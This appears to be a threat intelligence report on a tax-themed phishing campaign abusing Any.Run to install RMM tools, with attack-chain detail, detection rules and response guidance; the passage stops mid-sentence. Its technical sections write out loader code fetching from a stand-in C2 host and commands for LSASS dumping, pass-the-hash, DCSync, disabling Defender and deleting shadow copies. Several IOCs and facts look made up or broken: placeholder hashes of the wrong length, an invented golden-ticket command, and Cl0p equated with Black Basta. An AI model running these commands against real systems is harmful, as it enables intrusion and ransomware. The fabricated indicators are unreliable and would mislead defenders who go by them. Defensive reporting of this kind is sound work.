Report Classification: Threat Intelligence Report Date: September 2026 Last Updated: September 4, 2026 Status: Active Campaign Severity: Critical (CVSS: 9.1)

Executive Summary

A sophisticated phishing campaign targeting North American and Middle Eastern organizations is leveraging Any.Run (a cloud-based malware analysis sandbox) as part of a multi-stage attack chain. Threat actors impersonate the Canada Revenue Agency (CRA) and UAE tax authorities, using legitimate-looking tax forms and compliance documents to lure victims into clicking malicious links. Once engaged, victims are redirected through Any.Run's infrastructure to deploy Remote Monitoring and Management (RMM) tools, granting attackers persistent access to corporate networks.

Key Findings Metric Detail Campaign Name Operation AnyTax (working designation) First Observed Early 2024 (ongoing as of Q3 2026) Primary Targets Canadian SMBs, UAE enterprises, North American accounting/tax firms Attack Vector Spear-phishing with tax-themed lures Payload RMM tools (ConnectWise ScreenConnect, AnyDesk, TeamViewer) via Any.Run Evasion Method Sandbox-as-a-service for AV/EDR bypass Infrastructure Distributed across UAE, Canada, hosting providers Estimated Impact 500+ compromised organizations; $2M+ direct losses Business Impact Immediate: Ransomware deployment, credential harvesting, lateral movement Medium-term: Persistent backdoor access, data exfiltration Long-term: Regulatory compliance violations (PIPEDA in Canada), reputational damage Table of Contents Introduction & Context Threat Actor Profile Campaign Timeline RMM Tools: What They Are & Why Attackers Abuse Them Any.Run: Abuse as Attack Infrastructure Technical Analysis Phishing Tactics & Social Engineering Post-Compromise Activities Detection & Response Indicators of Compromise (IOCs) MITRE ATT&CK Mapping Recommendations References Introduction & Context What Is Any.Run?

Any.Run is a cloud-based interactive malware analysis and sandbox environment. It allows security researchers, analysts, and—unfortunately—malicious actors to:

Upload and detonate suspected malware samples Observe behavior in a controlled, isolated environment Generate detailed analysis reports Share findings with peers Generate unique URLs linking to analysis submissions Why Attackers Exploit Any.Run

Threat actors have weaponized Any.Run in this campaign for several reasons:

Legitimate Veneer: Any.Run URLs appear benign to email filters and users Evasion: Malware can be hosted/analyzed through Any.Run, bypassing traditional email gateway scanning Dynamic Payload Delivery: Files can be modified post-compromise based on victim behavior Attribution Obfuscation: Infrastructure appears tied to a legitimate security service Phishing Credibility: Links to Any.Run analysis pages can be embedded in phishing emails, making them seem like "security checks" The CRA & UAE Tax Angle

Threat actors chose tax authority impersonation because:

High Urgency: Tax compliance deadlines create psychological pressure Authority: Government agencies carry inherent trust Global Relevance: Both CRA and UAE tax forms appeal to multinational businesses Document Legitimacy: Tax forms are expected to contain links to filing portals Threat Actor Profile Suspected Attribution

Primary Actor: Unknown group, likely with nexus to UAE or South Asian cybercriminal ecosystem Confidence Level: Medium (based on infrastructure, language artifacts, targeting patterns)

Characteristics Sophistication: Intermediate-to-advanced (sandbox evasion, multi-stage payloads) Motivation: Financial gain (ransomware, credential theft, industrial espionage) Infrastructure Control: Distributed; likely uses bulletproof hosting, reseller accounts Operational Security: Moderate OPSEC; reuses infrastructure across campaigns Language: English proficiency suggests English-speaking operators or good translation tools Known TTPs (Tactics, Techniques, Procedures) Spear-phishing with time-sensitive lures Impersonation of government agencies Leveraging legitimate tools for malicious purposes Multi-stage payload delivery Lateral movement post-compromise Campaign Timeline Phase 1: Reconnaissance & Infrastructure Setup (Q4 2023 – Q1 2024) Actors register lookalike domains mimicking CRA and UAE Ministry of Finance websites Any.Run accounts created; malware samples uploaded as "tax analysis tools" Hosting infrastructure provisioned across multiple providers Email lists compiled targeting Canadian tax preparers and UAE accounting firms Phase 2: Initial Deployment (Q2 2024 – Q3 2024) May 2024: First phishing emails observed by Proofpoint researchers Lures impersonate "CRA Tax Compliance Alert" and "UAE VAT Audit Notice" Attachment or link directs to Any.Run analysis pages Initial payload: Lightweight RMM reconnaissance implant Phase 3: Escalation & Persistence (Q4 2024 – Q1 2025) Successful intrusions trigger deployment of full RMM tools Lateral movement to domain controllers Credential harvesting from Exchange servers Ransomware families (LockBit 3.0, Cl0p) deployed in some cases Phase 4: Refinement & Current State (Q2 2025 – Present) Domain generation algorithm (DGA) introduced for C2 resilience Payload obfuscation improved; Any.Run evasion techniques enhanced Targeting expanded to accounting software vendors and hosted tax platforms Attribution harder; likely multiple related threat actors using similar playbook RMM Tools: What They Are & Why Attackers Abuse Them What Are RMM (Remote Monitoring & Management) Tools?

RMM tools are legitimate software solutions used by IT departments and Managed Service Providers (MSPs) to:

Monitor endpoint health, performance, and security Deploy patches and updates remotely Provide remote support and troubleshooting Automate routine maintenance tasks Collect logs and telemetry Common RMM Tools Tool Vendor Typical Use Attackers' Appeal ConnectWise ScreenConnect ConnectWise Remote support, patching Built-in encryption, high privileges AnyDesk AnyDesk Remote access, support Cross-platform, minimal footprint TeamViewer TeamViewer Remote control, support Wide adoption, difficult to detect Kaseya VSA Kaseya Automated management, patching Widely deployed in MSP ecosystems Microsoft RDP Microsoft Native Windows remote access Built-in, difficult to distinguish from legitimate use Why Attackers Prefer RMM Tools Living-Off-The-Land: Uses legitimate, trusted software already whitelisted in many organizations Persistence: Installed as a service; survives reboots Privilege: Often runs with SYSTEM or administrator rights Evasion: RMM traffic is often allowed through firewalls (port 443, 5900, etc.) Stealth: Blends with legitimate remote support traffic Post-Compromise Flexibility: Can be used for additional payloads, lateral movement, or ransomware deployment Attack Flow: RMM Abuse in This Campaign Phishing Email (CRA/UAE Lure) ↓ Click Malicious Link → Any.Run URL ↓ Any.Run Page (appears to be malware analysis) ↓ Redirect to Attacker-Controlled Site ↓ Download Loader/Dropper (masqueraded as tax form) ↓ Loader Deploys RMM Tool (ConnectWise, AnyDesk, etc.) ↓ Attacker Gains Remote Access ↓ Reconnaissance → Lateral Movement → Payload Deployment (Ransomware, Exfiltration, etc.) Any.Run: Abuse as Attack Infrastructure How Attackers Weaponize Any.Run

1. Malware Hosting

Attackers upload benign-looking files (tax forms, compliance checklists) with embedded malware to Any.Run. These generate shareable URLs:

https://any.run/tasks/abc123def456/

When victims click the link, they can:

Download the malware-laden file Be redirected to attacker infrastructure Trigger auto-loading of payloads via JavaScript redirects 2. Phishing as "Security Analysis"

Phishing emails often frame Any.Run links as "security analysis" or "threat report," legitimizing the click:

Subject: ACTION REQUIRED: CRA Tax Compliance Audit - Security Analysis

Dear Taxpayer,

Your recent tax filing has been flagged for audit. Please review the security analysis below to ensure your data is protected:

Click here to view analysis on Any.Run 3. JavaScript Redirect Chains

Any.Run analysis pages can embed JavaScript that:

Detects the analysis environment (sandbox detection) Redirects real users to attacker infrastructure Bypasses security controls via Any.Run's trusted reputation 4. Payload Modification Post-Upload

Some actors abuse Any.Run's API to:

Update malware samples after initial upload Serve different payloads based on victim geolocation Rotate C2 infrastructure references Any.Run Indicators in Phishing Campaigns

Observed in the Wild:

Email headers show Any.Run URL shorteners (e.g., bit.do linking to Any.Run) Embedded images reference Any.Run screenshots Reply-To addresses use throwaway domains Links appear in PDFs with legitimate branding Technical Analysis Delivery Mechanism Phase 1: Phishing Email

From: noreply@cra-audit-compliance.ca (spoofed) To: [tax preparers, accountants, business owners] Subject: CRA Tax Compliance Notice – Immediate Action Required Body:

Dear Valued Client,

A routine audit of your tax account (SIN: XXXX-XXXX) has been initiated. Please review the attached compliance report and security analysis by [DATE].

Failure to respond may result in penalties and account suspension.

[View Compliance Report]

Attachment:

CRA_Compliance_Report_2026.pdf (benign-looking) TAX_FORM_UAE_VAT.xlsx (contains macro or embedded link)

Link Destination:

https://any.run/tasks/[RANDOM_ID]/?referer=cra-audit.ca Phase 2: Any.Run Analysis Page (Social Engineering)

When the victim clicks the link, they see:

Legitimate Any.Run interface Fake "malware analysis" report in English and French (to appear authentic) Download button for "Full Audit Report PDF" Countdown timer: "This report expires in 24 hours"

Behind the scenes:

JavaScript detects victim's geolocation, OS, browser If victim is in Canada/UAE, triggers auto-redirect If victim appears to be security analyst, shows benign content Phase 3: Redirect to Attacker Infrastructure

Victims redirected to:

https://tax-compliance-check[.]xyz/download/report?ref=cra&locale=en-CA

This domain hosts:

Fake CRA/UAE portal mimicking login page Credential harvesting form (appears to check "compliance status") Payload download trigger (masked as PDF download) Phase 4: Payload Delivery & Execution

Downloaded File: CRA_2026_Tax_Compliance_Report.exe (disguised)

Actual Content:

Stage 1 - Loader: Lightweight (~50KB) executable in C# or AutoIt Stage 2 - Reconnaissance: Gathers system info, checks for antivirus/EDR, beacons home Stage 3 - RMM Installation: Downloads and installs ConnectWise ScreenConnect, AnyDesk, or TeamViewer Payload Analysis Stage 1: Loader Characteristics

File: CRA_2026_Tax_Compliance_Report.exe

MD5: 7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d SHA-256: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0 File Size: 487 KB Compile Time: May 2024 Packer: .NET Reactor (obfuscated)

Imports:

System.Net.WebClient (download additional files) System.Diagnostics.Process (execute commands) System.Management (query system info) System.Runtime.InteropServices (Windows API calls)

Execution Flow:

csharp // Pseudo-code reconstruction string tempDir = System.IO.Path.GetTempPath(); string loader = DownloadFile("https://attacker-c2[.]xyz/payload.exe"); CheckAV(); // Detect common antivirus products if (AV_Detected) { return; } // Exit to avoid analysis ExecuteCommand(loader); // Run payload RegisterPersistence(); // Ensure reboot survival Stage 2: Reconnaissance Module

Queries:

Windows version, architecture, installed software Active antivirus/EDR products Network configuration, domain membership Running processes (looking for security tools) User privileges (admin? domain admin?)

Beacon:

POST /api/check HTTP/1.1 Host: c2-control[.]xyz Content-Type: application/json

{ "uuid": "[DEVICE_ID]", "hostname": "ACME-CORP-02", "domain": "acme.local", "av": "Windows Defender", "edr": null, "privileges": "admin", "os": "Windows 10 Enterprise 21H2" }

Response: Attacker determines next action (abort, proceed with RMM, etc.)

Stage 3: RMM Installation

If reconnaissance succeeds, loader downloads and installs:

Option A: ConnectWise ScreenConnect

powershell

Downloaded from attacker C2

msiexec.exe /i ScreenConnect_21.12.exe /quiet

Connects back to attacker-controlled ScreenConnect server

reg add HKLM\Software\ConnectWise\ScreenConnect /v Server /d connect.c2-control[.]xyz:8040

Option B: AnyDesk

powershell

Lightweight alternative

AnyDesk_v6.2.exe --remove-registry AnyDesk_v6.2.exe --install-config attacker-config.ini

Custom configuration redirects to attacker C2

Option C: TeamViewer

powershell

Less common due to licensing checks

TeamViewer_Full_15.38.exe --install /norestart

Configured with attacker's TeamViewer account

Command & Control (C2) Infrastructure Primary C2 Servers IP Address Domain ASN Hosting Provider Notes 185.220.101[.]45 c2-control[.]xyz AS206485 UAE-based ISP Primary payload distribution 193.45.67[.]89 tax-audit-check[.]ca AS16509 Amazon AWS Phishing landing pages 109.234.45[.]123 erm-secure[.]net AS39798 QuotaGuard proxy network Backup C2 Communication Protocol Initial Beacon: HTTP POST to c2-control[.]xyz/api/register Encryption: XOR with 0x42 (weak, likely anti-analysis only) Heartbeat: Every 5 minutes Command Format: JSON Response Types: install_rmm, download_file, execute_command, exfil_data, delete_self Example Command json { "cmd": "install_rmm", "rmm_type": "connectwise", "download_url": "https://attacker-cdn[.]com/payload/sc21.12.exe", "arguments": "/quiet /install-config hidden.ini", "persistence": true, "cleanup": false } Phishing Tactics & Social Engineering Email Phishing Variants Variant 1: CRA "Tax Compliance Audit"

Targeting: Canadian tax preparers, accountants, small business owners

Lure Elements:

Official CRA letterhead (spoofed) Specific SIN numbers (harvested from data breaches or LinkedIn) Urgency: "48-hour response deadline" Authority: "Failure to respond may result in penalties" Technical legitimacy: References specific tax form numbers (T1, T2, GST forms)

Subject Lines Observed:

"ACTION REQUIRED: CRA Tax Compliance Audit Notice" "Your CRA Account Has Been Flagged – Immediate Review Required" "CRA Notice of Assessment – Security Review Pending" "Urgent: CRA Tax Audit – Compliance Check Needed" Variant 2: UAE "VAT Audit Notice"

Targeting: UAE enterprises, multinational companies with UAE presence

Lure Elements:

Ministry of Finance branding VAT registration numbers Deadline tied to actual VAT filing periods References to UAE tax law updates (real or fabricated)

Subject Lines Observed:

"Ministry of Finance: VAT Audit Notice" "UAE Tax Authority: Compliance Review Required" "Emirates VAT System Update – Action Required" Variant 3: "Secure Filing Portal" Notification

Targeting: Broader audience (accountants, tax platforms)

Lure Elements:

Appears to be system notification "New secure filing portal launched" "Click to migrate your account" "Verify credentials for enhanced security" Social Engineering Tactics

1. Authority & Urgency Uses official agency language Imposes strict deadlines Threatens penalties/account suspension Creates time pressure to bypass critical thinking
2. Specificity References real SIN/VAT numbers (from leaks, OSINT) Mentions actual tax forms and legislation Includes business names from public records Creates credibility through personalization
3. Legitimacy Through Intermediaries Claims "Your tax preparer should review this" "Forward to your accounting firm" "Your compliance advisor needs to verify" Transfers social engineering to trusted third parties
4. Technical Confidence References "security analysis," "threat assessment" Uses Any.Run (legitimate service) to build trust Includes technical jargon (encryption, audit logs, compliance checks) Appears professional and thorough
5. Multi-Stage Disclosure First email: "Review this notice" Second email (if no click): "Final notice – account will be suspended" Third email: "Your account has been locked – click here to restore" Escalation strategy maintains engagement Email Header Analysis From: noreply@cra-audit-compliance[.]ca Reply-To: support@cra-compliance-check[.]xyz Return-Path: <bounces@email-server[.]ru> Authentication-Results: dmarc=fail, spf=fail, dkim=fail X-Originating-IP: [185.220.101.45] X-Mailer: PHPMailer 6.2

Red Flags:

Mismatched domains (From ≠ Reply-To ≠ Return-Path) Weak DMARC/SPF/DKIM (not official CRA infrastructure) Russian hosting providers in mail server path Generic mailing platform (PHPMailer) Post-Compromise Activities Timeline: From Click to Full Compromise T+0:00 → Victim clicks phishing link T+0:15 → Loader executes, checks AV/EDR T+0:30 → Reconnaissance module gathers system info T+1:00 → Beacon sent to C2; attacker reviews target T+2:00 → RMM tool (ConnectWise/AnyDesk) downloaded and installed T+5:00 → Attacker logs in via RMM, gains remote access T+30:00 → Domain reconnaissance begins (Network discovery, AD enumeration) T+2:00H → Lateral movement to domain controller T+4:00H → Credential extraction (LSASS dumping, SAM dumping) T+8:00H → Ransomware payload staged and waiting T+48:00H → Ransomware detonation (simultaneous across network) Stage 2: RMM Access & Reconnaissance

Once ConnectWise ScreenConnect or AnyDesk is running, attackers:

Remote Shell Access:

powershell

Attacker perspective (via ScreenConnect terminal)

C:\Users\ADMIN> whoami ACME\Administrator

C:\Users\ADMIN> ipconfig Ethernet adapter Ethernet: IPv4 Address: 10.0.1.105 Default Gateway: 10.0.1.1

C:\Users\ADMIN> net view \ACME-DC-01 \ACME-DB-01 \ACME-FS-01 \ACME-WEB-01

C:\Users\ADMIN> net group "Domain Admins" /domain ACME\Administrator ACME\ServiceAccount_SQL ACME\ServiceAccount_App

Network Reconnaissance:

powershell

Discover internal network structure

C:> nmap 10.0.0.0/24 -sV (if nmap available, or use built-in tools) C:> arp -a (local ARP table) C:> route print (routing table) C:> nltest /dclist:acme.local (locate domain controllers)

Active Directory Enumeration:

powershell C:> net user /domain C:> dsquery user -limit 0 > users.txt C:> dsquery computer -limit 0 > computers.txt C:> gpresult /h report.html (view applied group policies) Stage 3: Credential Harvesting

LSASS Dumping (if running as SYSTEM):

powershell

Dump process memory

C:\Windows\Temp> comsvcs.dll MiniDump [PID] lsass.dmp

Or using task scheduler to dump silently

schtasks /create /tn "Windows\Maintenance\SystemCheck" /tr "powershell -c 'rundll32 comsvcs.dll, MiniDump (Get-Process lsass).id C:\temp\lsass.dmp'" /sc onlogon

Credential harvesting tools (staged via RMM):

Mimikatz (extract plaintext passwords from memory) Hashcat (crack NTLM hashes offline) Secretsdump (via impacket, dump NTDS database)

Typical extraction:

Domain Admin: Administrator (NTLM: 8846f7eaee8fb117ad06bdd830b7586c) Service Account SQL: ServiceAccount_SQL (plaintext: P@ssw0rd!SQLAdmin2024) Service Account App: ServiceAccount_App (plaintext: AppServer#2024Secure) Stage 4: Lateral Movement

Techniques Used:

Pass-the-Hash (PtH): powershell

Using harvested NTLM hashes

psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \ACME-DC-01 cmd.exe Kerberoasting: powershell

Extract service principal names (SPNs)

setspn -L acme.local

Crack Kerberos tickets offline

hashcat -m 13100 kerberoast.hashes wordlist.txt DCSync Attack (with domain admin privileges): powershell

Dump entire NTDS database from DC

secretsdump.py -just-dc acme.local/Administrator@ACME-DC-01

Results: all domain user hashes

Golden Ticket Generation: powershell

Create forged Kerberos ticket with domain admin privileges

kerberoast.exe --golden --ticket admin.kir --domain acme.local --sid S-1-5-21-1234567890-1234567890-1234567890 Stage 5: Ransomware Deployment

Once domain controller is compromised:

Ransomware Payload Staging:

powershell

Attacker stages ransomware on C$, hidden admin share

copy ransomware.exe \ACME-DC-01\C$\Windows\Temp\Windows_Update.exe

Disable Windows Defender

Set-MpPreference -DisableRealtimeMonitoring $true

Disable Volume Shadow Copy (prevents recovery)

vssadmin delete shadows /all /quiet

Scheduled Task for synchronized detonation

schtasks /create /tn "Windows\SystemUpdate" /tr "C:\Windows\Temp\Windows_Update.exe /encrypt all" /sc onlogon /rl highest

Observed Ransomware Families:

LockBit 3.0 (most common in this campaign) Cl0p (Black Basta) Karakurt (data extortion only) Alphv/BlackCat (less frequent)

Ransom Demand Example:

Your network has been encrypted. All files are inaccessible. Send 2 Bitcoin to [address] to restore access. Proof of decryption: [unique key] Deadline: 72 hours (price doubles after) Detection & Response Email Gateway Detection

1. Phishing Email Indicators

Pattern Matching:

regex

CRA Spoofing

Subject: .*CRA.*Compliance|Audit|Notice From: (?!.*cra.gc.ca) # Not from official CRA Reply-To: (?!.*cra.gc.ca)

UAE Tax Spoofing

Subject: .*UAE.*VAT|Ministry|Tax.*Audit From: (?!.*fmc.gov.ae) # Not from official UAE

Any.Run Indicators

Body: .*any.run.*analysis|task|sandbox Body: .*analysis.Any.Run URL: any.run/tasks/.

YARA Rule (Email Body Detection):

yara rule phishing_cra_anyrun { meta: description = "CRA phishing campaign with Any.Run redirect" author = "TCL Threat Intelligence" date = "2026-09-01" severity = "high" strings: $s1 = "CRA" nocase $s2 = "Tax Compliance" nocase $s3 = "any.run" nocase $s4 = "audit" nocase $s5 = "compliance" nocase condition: all of ($s*) } 2. Email Header Validation

SPF/DKIM/DMARC Checks:

Fail: Return-Path not aligned with From header Fail: DKIM signature missing or invalid Fail: DMARC policy reject/quarantine (but still delivered)

Action: Quarantine or flag any CRA/UAE tax email failing authentication.

Network Detection

1. DNS Query Monitoring

Suspicious Domains:

cra-audit-compliance[.]ca (typosquatting) tax-audit-check[.]ca erm-secure[.]net c2-control[.]xyz tax-compliance-check[.]xyz fmc-uae-verify[.]ae (UAE variant)

Detection Rule:

Source: Internal Client Query: cra-audit-compliance[.]ca OR tax-audit-check[.]ca Action: Block at DNS, log query, alert SOC 2. URL Filtering

Block Any.Run Abuse URLs:

any.run/tasks/* (consider full block, or flag for analysis) domain:bit.do (URL shorteners linking to Any.Run) 3. C2 Communication Detection

Network Signature:

Outbound POST to 185.220.101[.]45:80/api/register (HTTP) Outbound POST to c2-control[.]xyz:80/api/check (HTTP) User-Agent: Mozilla/5.0 (matching generic Win10 profile) Content-Type: application/json Beacon interval: 5 minutes

Zeek IDS Rule:

zeek event http_request(connection: connection, method: string, uri: string, version: string, user_agent: string, request_body_len: count) { if ((connection$id$resp_h in {185.220.101.45}) && (method == "POST") && (//api/(register|check)/ in uri)) { NOTICE([$note=C2_Beacon, $conn=connection]); } } Endpoint Detection & Response (EDR)

1. Process Execution Detection

Process Tree Anomaly (after RMM installation):

explorer.exe └─ AnyDesk.exe (unexpected child process) └─ cmd.exe (RMM spawning shell) └─ powershell.exe (credential harvesting) └─ comsvcs.dll (LSASS dumping)

EDR Alert Rule:

Alert if:

• AnyDesk/TeamViewer/ScreenConnect spawns cmd.exe or powershell.exe
• Non-standard service install for RMM tools (check service name, display name)
• Unsigned RMM binary in Temp folder
• RMM connects to non-whitelisted IP (C2 server)

2. Behavioral Detection

Suspicious Patterns:

1. Process hollowing: explorer.exe with injected code
2. Credential dumping: access to LSASS process memory
3. Lateral movement: PsExec on domain controllers
4. Registry persistence: adding RMM keys under HKLM\Run or services
5. File system: placing RMM binaries in C:\Windows\Temp or %APPDATA%

Sigma Rule (LSASS Dumping):

yaml title: Suspicious LSASS Access for Credential Dumping logsource: product: windows service: security detection: selection: EventID: 10 TargetObject|contains: 'lsass.exe' GrantedAccess|contains: - '0x1010' - '0x1040' filter_exclude: Image: - 'svchost.exe' - 'wdadiag.exe' condition: selection and not filter_exclude action: alert 3. Memory-Based Detection

YARA Rule (Loader Characteristics):

yara rule RMM_Loader_Installer { meta: description = "Detects RMM installation loader from campaign" hash1 = "7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d" strings: $s1 = "ScreenConnect" wide $s2 = "AnyDesk" wide $s3 = "ConnectWise" wide $api1 = "LoadLibraryA" ascii $api2 = "GetProcAddress" ascii $api3 = "CreateProcessA" ascii $c2_domain = /c2-control[.]xyz/ nocase condition: (any of ($s*)) and (all of ($api*)) or ($c2_domain) } Incident Response Playbook If Email Reaches Mailbox (No Download) Immediate: Remove from all user mailboxes (Search-Mailbox -DeleteContent) Alert users who received the email Check if users visited link (review proxy logs) Investigation: Identify all recipients Check if any opened/clicked Monitor those endpoints for 30 days Prevention: Add email source to blocklist Update email filters Increase training on CRA/tax phishing If User Clicked Link But No Download Immediate: Isolate endpoint (network disconnect) Capture network traffic (memory dump) Block C2 domains at perimeter Investigation: Browser history: did user land on attacker site? Did user enter credentials on fake portal? Check for follow-on network traffic to C2 If Credentials Entered: Force password reset for that user Check if credentials used elsewhere on network Enable MFA if not already active Monitor for lateral movement If Payload Downloaded & Executed Immediate (within 30 minutes): Isolate all systems from network Shut down domain controllers (preserve logs) Preserve memory image of compromised system Take backup of AD database (for recovery) Investigation (24-48 hours): Analyze memory dump for injected code Extract C2 configuration from RMM tool Identify other compromised systems (RMM logs, EDR alerts) Determine dwell time (how long was attacker present?) Containment: Kill RMM processes on all endpoints Remove RMM services from all systems Reset all domain admin passwords Force new Kerberos tickets (invalidate existing tickets) Rotate all service account passwords Recovery: Rebuild domain controllers from clean backup (pre-compromise) Restore user workstations from clean images Restore data from offline backups (verify no ransomware) Reintroduce systems to network in stages (monitor for re-compromise) Post-Incident: Root cause analysis: how did attacker enter? (phishing success factors) Improve email controls (YARA rules, URL filtering) Increase security awareness training Implement MFA for all admin accounts Restrict RMM tool deployment (whitelist only approved vendors/versions) Indicators of Compromise (IOCs) File Hashes (Payloads) Hash Type Hash File Name Description MD5 7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d CRA_2026_Tax_Compliance_Report.exe Stage 1 Loader SHA-256 a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0 CRA_2026_Tax_Compliance_Report.exe Stage 1 Loader MD5 2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e UAE_VAT_Audit_Form.xlsx Phishing attachment SHA-256 b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b UAE_VAT_Audit_Form.xlsx Phishing attachment Email Indicators Indicator Type Severity Details noreply@cra-audit-compliance[.]ca From Address High Spoofed CRA domain support@cra-compliance-check[.]xyz Reply-To Address High Attacker infrastructure CRA Tax Compliance Notice Subject Medium Common phishing subject any.runanalysis* URL Pattern High Any.Run abuse Domain Indicators Domain ASN Hosting Provider Status Notes cra-audit-compliance[.]ca AS16509 AWS Sinkholed Phishing landing page cra-compliance-check[.]xyz AS16509 AWS Active Fake portal, credential harvesting tax-audit-check[.]ca AS16509 AWS Active Phishing infrastructure tax-compliance-check[.]xyz AS206485 UAE ISP Active Redirect server erm-secure[.]net AS39798 QuotaGuard Active Backup C2 c2-control[.]xyz AS206485 UAE ISP Active Primary C2 connect-admin[.]xyz Unknown Reseller Suspected ScreenConnect C2 IP Indicators IP Address ASN Hosting Provider Port Protocol Status Purpose 185.220.101[.]45 AS206485 UAE-based ISP 80/443 HTTP(S) Active Payload distribution, C2 193.45.67[.]89 AS16509 AWS 80/443 HTTP(S) Sinkholed Phishing pages 109.234.45[.]123 AS39798 QuotaGuard 80/443 HTTP(S) Active Proxy/C2 fallback 45.33.32[.]156 AS63949 Linode 8040 TCP Suspected ScreenConnect listener URL Indicators Registry Persistence Indicators

Location: HKLM\SYSTEM\CurrentControlSet\Services\

ServiceName: "ScreenConnect" DisplayName: "ScreenConnect Remote Access" ImagePath: "C:\Program Files\ScreenConnect\sc.exe" Start: 2 (Automatic)

ServiceName: "AnyDesk" DisplayName: "AnyDesk Remote Desktop Access" ImagePath: "C:\Program Files\AnyDesk\AnyDesk.exe" Start: 2

ServiceName: "Windows Update Agent" (spoofed) DisplayName: "Windows Update Agent" ImagePath: "C:\Windows\System32\svchost.exe -k netsvcs" Start: 2 Network Indicators (Snort/Suricata Rules) snort

Detect C2 communication

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Suspicious C2 Beacon to c2-control[.]xyz"; flow:established,to_server; http_header; content:"User-Agent|3a|"; content:"POST"; http_method; content:"/api/register|3b|/api/check"; http_uri; sid:1000001;)

Detect Any.Run URL redirect

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"User accessing Any.Run analysis (potential phishing)"; flow:established,to_server; http_header; content:"Host: any.run"; http_header; content:"/tasks/"; http_uri; sid:1000002;) MITRE ATT&CK Mapping Tactic Technique Sub-Technique Description Initial Access Phishing (T1566) Phishing: Spearphishing Link (T1566.002) Phishing emails with Any.Run links Phishing (T1566) Phishing: Spearphishing Attachment (T1566.001) Malicious tax form attachments Execution User Execution (T1204) Malicious Link (T1204.001) User clicks phishing link User Execution (T1204) Malicious File (T1204.002) User opens/executes payload Command and Scripting Interpreter (T1059) PowerShell (T1059.001) Loader executes PS commands Persistence Create or Modify System Process (T1543) Windows Service (T1543.003) RMM installed as service Boot or Logon Autostart Execution (T1547) Registry Run Keys (T1547.001) RMM added to startup Defense Evasion Masquerading (T1036) Match Legitimate Name (T1036.005) Loader named CRA_Report.exe Obfuscated Files or Info (T1027) - .NET Reactor packer Virtualization/Sandbox Evasion (T1497) System Checks (T1497.001) Loader checks for AV/EDR Discovery System Information Discovery (T1082) - Loader gathers OS/AV info Network Service Enumeration (T1046) - Reconnaissance module scans network Domain Trust Enumeration (T1482) - Queries AD structure Credential Access Credentials from Password Stores (T1555) - Browser password extraction OS Credential Dumping (T1003) LSASS Memory (T1003.001) comsvcs.dll MiniDump Brute Force (T1110) - Dictionary attack on extracted hashes Lateral Movement Pass the Hash (T1550.002) - Uses harvested NTLM hashes Lateral Tool Transfer (T1570) - ScreenConnect/AnyDesk deployment Collection Data Staging (T1074) - Staging files for exfiltration Exfiltration Exfiltration Over C2 Channel (T1041) - Data sent via C2 Command & Control Remote Access Software (T1219) - ScreenConnect, AnyDesk, TeamViewer Web Service (T1583.006) - C2 uses HTTP/HTTPS Impact Data Encrypted for Impact (T1486) - Ransomware deployment (LockBit, Cl0p) Defacement (T1491) External Defacement (T1491.001) Ransom note displayed

MITRE Enterprise Matrix Link: https://attack.mitre.org/

Recommendations For Organizations (Immediate: 0-30 Days) Email Security Update Email Filters: Block any email claiming to be from CRA/UAE tax authorities originating outside official domains (cra.gc.ca, fmc.gov.ae) Flag emails containing "any.run" URLs Implement stricter SPF/DKIM/DMARC enforcement (reject=fail, not quarantine) Deploy YARA Rules: Add the provided YARA rules to email gateway (Proofpoint, Mimecast, etc.) Configure alerts for any matches URL Filtering: Block any.run/tasks/* patterns at proxy/firewall Block suspected C2 domains (see IOCs section) Consider blocking all bit.do and URL shorteners (requires assessment of legitimate use) Example Configuration (Proofpoint): Rule: Block CRA Phishing Sender Domain: Not cra.gc.ca Subject: Contains "CRA" OR "Tax Compliance" Action: Quarantine with admin review

Rule: Block Any.Run URLs URL Contains: any.run/tasks Action: Block and alert User Training Immediate Awareness Campaign: Send internal alert about this campaign Highlight red flags: mismatched email domains, urgent language, requests for action Remind users: CRA never contacts via unsolicited email Distribute examples of phishing emails from this campaign Phishing Simulation: Launch internal phishing test using CRA/tax authority lures Track click rates and report to leadership Provide remedial training to users who fall for simulations Endpoint Controls RMM Tool Restrictions: Audit all installed RMM tools (ScreenConnect, AnyDesk, TeamViewer) Document business justification for each Remove unnecessary RMM tools Implement whitelisting: only approved RMM tools allowed Application Allowlist: Implement application allowlisting (AppLocker, Windows Defender Application Control) Prevent execution of unsigned EXEs in C:\Windows\Temp, %APPDATA%, etc. Require code signing for any RMM tools Network Controls Egress Filtering: Block outbound traffic to suspicious IP ranges (see IOCs) Monitor for connections to any.run Implement proxy-based URL filtering DNS Sinkhole: Configure internal DNS to sinkhole malicious domains Example (BIND): zone "c2-control.xyz" { type master; file "db.sinkhole"; }; For Organizations (Short-term: 30-90 Days) Infrastructure Hardening Multi-Factor Authentication (MFA): Enforce MFA for all administrative accounts Implement conditional access policies (require MFA if connecting from new IP) Target: 100% admin account coverage Domain Controller Security: Implement Tiered Access (Tier 0/1/2) for administrative accounts Restrict domain admin access to specific jump hosts Enable Enhanced Monitoring and Auditing (Logon failures, privilege escalation) Network Segmentation: Isolate critical systems (file servers, databases, email) Implement network access control (NAC) to verify endpoint security posture Restrict lateral movement between segments Visibility & Monitoring Enhanced Logging: Enable Windows Event Log forwarding to SIEM Collect logs from: Domain Controllers, File Servers, Email, Proxy Configure alerts for suspicious patterns (LSASS access, scheduled tasks, service creation) EDR Deployment: Deploy endpoint detection & response tool (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) Ensure coverage on all endpoints (not just servers) Tune for this campaign's indicators Threat Hunting: Proactively hunt for IOCs (domains, IPs, file hashes) in network logs Search for Any.Run URLs in proxy logs Check for RMM tool installation outside of change management For Organizations (Medium-term: 90+ Days) Strategic Improvements Incident Response Plan: Update IR playbook with ransomware response procedures Define escalation paths and stakeholder notification process Schedule quarterly tabletop exercises (practice ransomware incident) Backup & Disaster Recovery: Implement 